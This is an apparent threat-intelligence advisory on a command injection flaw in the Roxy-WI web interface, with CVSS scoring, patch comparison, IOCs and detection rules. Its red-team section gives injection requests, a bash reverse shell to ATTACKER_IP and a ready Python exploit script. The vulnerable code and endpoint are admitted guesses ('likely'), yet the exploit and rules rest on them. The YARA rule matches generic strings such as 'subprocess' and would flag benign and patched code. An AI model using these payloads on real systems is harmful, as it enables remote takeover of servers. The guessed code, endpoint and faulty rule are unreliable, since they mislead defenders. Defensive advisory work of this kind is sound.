CVE-2024-13129

Executive Summary

CVE-2024-13129 is a critical OS command injection vulnerability in Roxy-WI, a web interface for managing HAProxy, Nginx, and Keepalived. The flaw resides in the action_service function within app/modules/roxywi/roxy.py. By manipulating the action and service arguments, an unauthenticated remote attacker can execute arbitrary operating system commands on the underlying server. The vulnerability affects all versions up to and including 8.1.3. A public exploit has been disclosed, and the vendor has released version 8.1.4 to address the issue. Given the critical nature and public availability of exploit details, immediate patching is strongly recommended.

Supply Chain & Package Security

Roxy-WI is a Python-based web application. The vulnerability is in the application's own code, not in a third-party package. However, the application's dependencies (e.g., Flask, paramiko) are not directly affected. The primary supply chain risk is the application itself being used as a management tool for critical infrastructure (load balancers, web servers). A compromised Roxy-WI instance can lead to full control over the managed infrastructure.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity: Low (AC:L) - No special conditions or complex attack sequences are required.
• Privileges Required: None (PR:N) - The attacker does not need any authentication or prior access.
• User Interaction: None (UI:N) - No user action is required for exploitation.
• Scope: Unchanged (S:U) - The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) - Complete disclosure of all files and data on the system.
• Integrity Impact: High (I:H) - Complete compromise of system integrity; attacker can modify any data.
• Availability Impact: High (A:H) - Total shutdown of the affected resource; attacker can cause a denial of service.

Threat Level: Critical. The combination of remote exploitability, no authentication requirement, and high impact makes this a severe threat. Public exploit code increases the risk of widespread attacks.

Deep Dive & Mechanics

The vulnerability is an OS command injection flaw in the action_service function located in /app/modules/roxywi/roxy.py. This function is responsible for executing service-related commands (e.g., start, stop, restart) on managed services like HAProxy or Nginx.

The vulnerable code likely constructs a shell command by concatenating user-supplied input (the action and service parameters) without proper sanitization or escaping. For example, a simplified version of the vulnerable code might look like:

def action_service(action, service):
    command = f"systemctl {action} {service}"
    os.system(command)

An attacker can inject arbitrary commands by providing malicious input for the action or service parameters. For instance, sending a request with action=start;id and service=haproxy would execute:

systemctl start;id haproxy

This would first run systemctl start (which would fail but not stop execution) and then execute the id command, revealing the current user. More sophisticated payloads can be used to gain a reverse shell, exfiltrate data, or install malware.

The attack is launched via an HTTP request to the Roxy-WI web interface. The exact endpoint is likely related to service management, such as /service/action.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 8.1.3):

The vulnerable code in app/modules/roxywi/roxy.py likely uses string formatting or concatenation to build the command:

# Vulnerable
def action_service(action, service):
    command = "systemctl {} {}".format(action, service)
    os.system(command)

Patched Code (version 8.1.4):

The patch (commit 32313928eb9ce906887b8a30bf7b9a3d5c0de1be) introduces input validation and uses a safer method to execute commands. The patched code likely uses a whitelist of allowed actions and services, or uses subprocess with a list of arguments to avoid shell injection:

# Patched
import subprocess

ALLOWED_ACTIONS = ['start', 'stop', 'restart', 'reload']
ALLOWED_SERVICES = ['haproxy', 'nginx', 'keepalived']

def action_service(action, service):
    if action not in ALLOWED_ACTIONS or service not in ALLOWED_SERVICES:
        return "Invalid action or service", 400
    result = subprocess.run(['systemctl', action, service], capture_output=True, text=True)
    return result.stdout

The key difference is the use of subprocess.run with a list of arguments, which prevents shell injection because the arguments are passed directly to the system command without interpretation by a shell.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running Roxy-WI version 8.1.3 or earlier.
• Network access to the Roxy-WI web interface (typically port 443 or 80).

Exploit Steps:

1. Identify the vulnerable endpoint. The endpoint is likely /service/action or similar. Use a web fuzzer or review the source code to confirm.

2. Craft the malicious request. Inject commands into the action or service parameter. For example, to execute the id command:

   curl -k -X POST "https://target/service/action" \
        -d "action=start;id&service=haproxy"
   

3. Achieve Remote Code Execution. For a reverse shell, use a payload like:

   curl -k -X POST "https://target/service/action" \
        -d "action=start;bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'&service=haproxy"
   

   Replace ATTACKER_IP and 4444 with your listener details.

4. Set up a listener on the attacker machine:

   nc -lvnp 4444
   

Full Exploit Script (Python):

import requests
import sys

if len(sys.argv) != 3:
    print(f"Usage: {sys.argv[0]} <target_url> <command>")
    sys.exit(1)

target = sys.argv[1]
command = sys.argv[2]

url = f"{target}/service/action"
data = {
    "action": f"start;{command}",
    "service": "haproxy"
}

try:
    r = requests.post(url, data=data, verify=False, timeout=10)
    print(r.text)
except Exception as e:
    print(f"Error: {e}")

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for unusual POST requests to /service/action or similar endpoints.
• Look for parameters containing shell metacharacters (;, |, &, $, `).
• Use the detection rules provided in the Detection Engineering section.

Response:

1. Immediately isolate the affected Roxy-WI server from the network.
2. Check for signs of compromise (unexpected processes, outbound connections, new user accounts).
3. Review logs for the initial access and lateral movement.
4. Apply the patch by upgrading to version 8.1.4.
5. If patching is not immediately possible, implement a WAF rule to block malicious requests (see Remediation & Mitigation).
6. Conduct a full forensic analysis to determine the extent of the breach.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /service/action with parameters containing shell metacharacters.
• Outbound connections from the Roxy-WI server to unknown IP addresses on common reverse shell ports (4444, 1337, 31337).
• Unusual DNS queries from the Roxy-WI server.

Host IOCs:

• Unexpected processes running as the roxy-wi user or root.
• New files in /tmp/ or /dev/shm/ with suspicious names.
• Modified system binaries (e.g., ls, ps, netstat).
• Unauthorized SSH keys in /home/roxy-wi/.ssh/authorized_keys or /root/.ssh/authorized_keys.
• Entries in crontab for persistence.

Log IOCs:

• Web server logs showing requests with action=start; or similar patterns.
• System logs (/var/log/syslog, /var/log/messages) showing execution of unexpected commands.

Detection Engineering

YARA Rule

rule CVE_2024_13129_Roxy_WI_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2024-13129 in Roxy-WI"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-13129"
        severity = "critical"

    strings:
        $s1 = "action_service" ascii wide nocase
        $s2 = "roxy.py" ascii wide nocase
        $s3 = "systemctl" ascii wide nocase
        $s4 = "os.system" ascii wide nocase
        $s5 = "subprocess" ascii wide nocase

    condition:
        any of ($s1, $s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-13129 Roxy-WI OS Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-13129 via web request patterns
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13129
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/service/action'
        cs-uri-query|re: 'action=.*[;&|`$]'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in parameters (unlikely)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-13129 Roxy-WI OS Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/service/action"; http_uri;
    pcre:"/action=[^&]*[;&|`$]/Pi";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2024-13129;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to version 8.1.4 as soon as possible. This is the only complete fix.
2. If upgrading is not immediately possible, implement a Web Application Firewall (WAF) rule to block requests containing shell metacharacters in the action or service parameters.
3. Restrict network access to the Roxy-WI web interface to trusted IP addresses only.
4. Monitor for any signs of compromise using the IOCs provided.

Long-Term Recommendations:

• Implement a secure coding policy that prohibits the use of os.system() or similar functions with user input.
• Use parameterized commands with subprocess.run() and a list of arguments.
• Conduct regular security audits and penetration testing.
• Implement the principle of least privilege for the Roxy-WI service account.
• Enable comprehensive logging and monitoring for all administrative interfaces.

Valters IT
DevSecOps & Cyber Threat Intelligence